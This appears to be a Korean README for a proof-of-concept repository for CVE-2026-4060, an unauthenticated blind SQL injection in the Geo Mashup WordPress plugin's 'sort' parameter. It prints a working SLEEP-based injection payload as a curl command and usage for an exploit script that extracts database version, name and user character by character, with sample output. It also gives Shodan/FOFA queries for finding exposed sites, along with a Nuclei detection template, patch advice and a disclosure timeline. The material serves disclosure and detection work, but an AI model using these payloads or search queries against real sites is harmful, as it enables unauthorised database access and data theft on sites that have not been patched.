
CVE-2026-4060에 대한 개념 증명(PoC): Geo Mashup WordPress 플러그인의 ORDER BY 절을 통한 인증되지 않은 시간 기반 블라인드 SQL 인젝션. 익스플로잇 스크립트, 랩 환경, Nuclei 탐지 템플릿을 포함합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2026-4060 |
| 플러그인 | Geo Mashup by cyberhobo |
| 영향 범위 | ≤ 1.13.18 |
| 수정 버전 | 1.13.19 |
| CVSS v3.1 | 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — SQL 내 특수 요소의 부적절한 중화 |
| 인증 필요 | 없음 (Unauthenticated) |
render-map 엔드포인트에서 전달받는 sort 파라미터는 $wpdb->get_results() 호출에 아무런 검증 없이 그대로 전달됩니다:
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
$sort가 원형 그대로 문자열 보간되기 때문에 공격자는 ORDER BY 절에 서브쿼리를 주입할 수 있습니다. WordPress의 wpdb는 작은따옴표를 이스케이프 처리하므로, PoC는 숫자 비교 방식의 ORD(SUBSTRING(...))을 사용하여 이러한 제한을 우회하고 시간 기반 블라인드 추출을 수행합니다.
취약한 엔드포인트:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
| 구성 요소 | 버전 |
|---|---|
| OS | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (취약 버전) |
| Python | 3.x (poc.py용) |
| Nuclei | v3.8.0 |
┌─────────────────────────────────┐
│ Host (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
WordPress 관리자에서 활성화된 Geo Mashup 1.13.18:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh는 다음 작업을 수행합니다:
완료 후:
http://localhost:8080http://localhost:8080/wp-admin (사용자: admin / 비밀번호: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
응답이 약 8초 지연되면 ORDER BY SQL 인젝션이 확인됩니다.
# 기본 — 추출된 결과만 출력
python3 poc.py --url http://localhost:8080
# 자세히 — 각 페이로드, 응답 시간, 추출된 문자 표시
python3 poc.py --url http://localhost:8080 --verbose
# SQLi 확인만 수행, 데이터 추출 건너뛰기
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
sort 파라미터에 SLEEP(8) 서브쿼리를 주입하면 약 8초의 응답 지연이 발생합니다.
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

PoC는 ORD(SUBSTRING(...)) 비교를 사용하여 문자 단위로 데이터를 추출합니다: 페이로드 전송 → 응답 시간 측정 → SLEEP이 발생하면 해당 문자 확인.
python3 poc.py --url http://localhost:8080 --verbose

추출된 데이터:
| 쿼리 | 결과 |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
Nuclei 템플릿은 오탐을 방지하기 위해 2단계 플로우를 사용합니다.
1단계에서 readme.txt가 404를 반환하면 SQL 페이로드를 전송하지 않고 스캔이 즉시 종료됩니다.
Scan completed in 62ms. 0 matches found. ✅
readme.txt를 통한 플러그인 버전 확인:

compare_versions(version, '<= 1.13.18') 조건이 실패하면 2단계는 완전히 건너뜁니다.
Scan completed in 19ms. 0 matches found. ✅
| 조치 | 세부 정보 |
|---|---|
| 업데이트 | Geo Mashup을 1.13.19 이상으로 업그레이드 |
| 임시 조치 | 업데이트를 적용할 때까지 플러그인 비활성화 |
| WAF | ORDER BY 절의 서브쿼리 인젝션 패턴 차단 |
Nuclei 템플릿: nuclei/CVE-2026-4060.yaml
탐지 플로우:
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ 플러그인 존재 및 버전 <= 1.13.18 확인
Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + duration >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| 날짜 | 이벤트 |
|---|---|
| 2026-04 | 취약점 발견 |
| 2026-04 | 플러그인 작성자에게 보고 |
| 2026-05 | Geo Mashup 1.13.19 패치 릴리스 |
| 2026-05-14 | CVE 배정 및 공개 공개 |
이 저장소는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다.
소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 사용하지 마십시오.
저자는 본 자료의 어떠한 오용에 대해서도 책임을 지지 않습니다.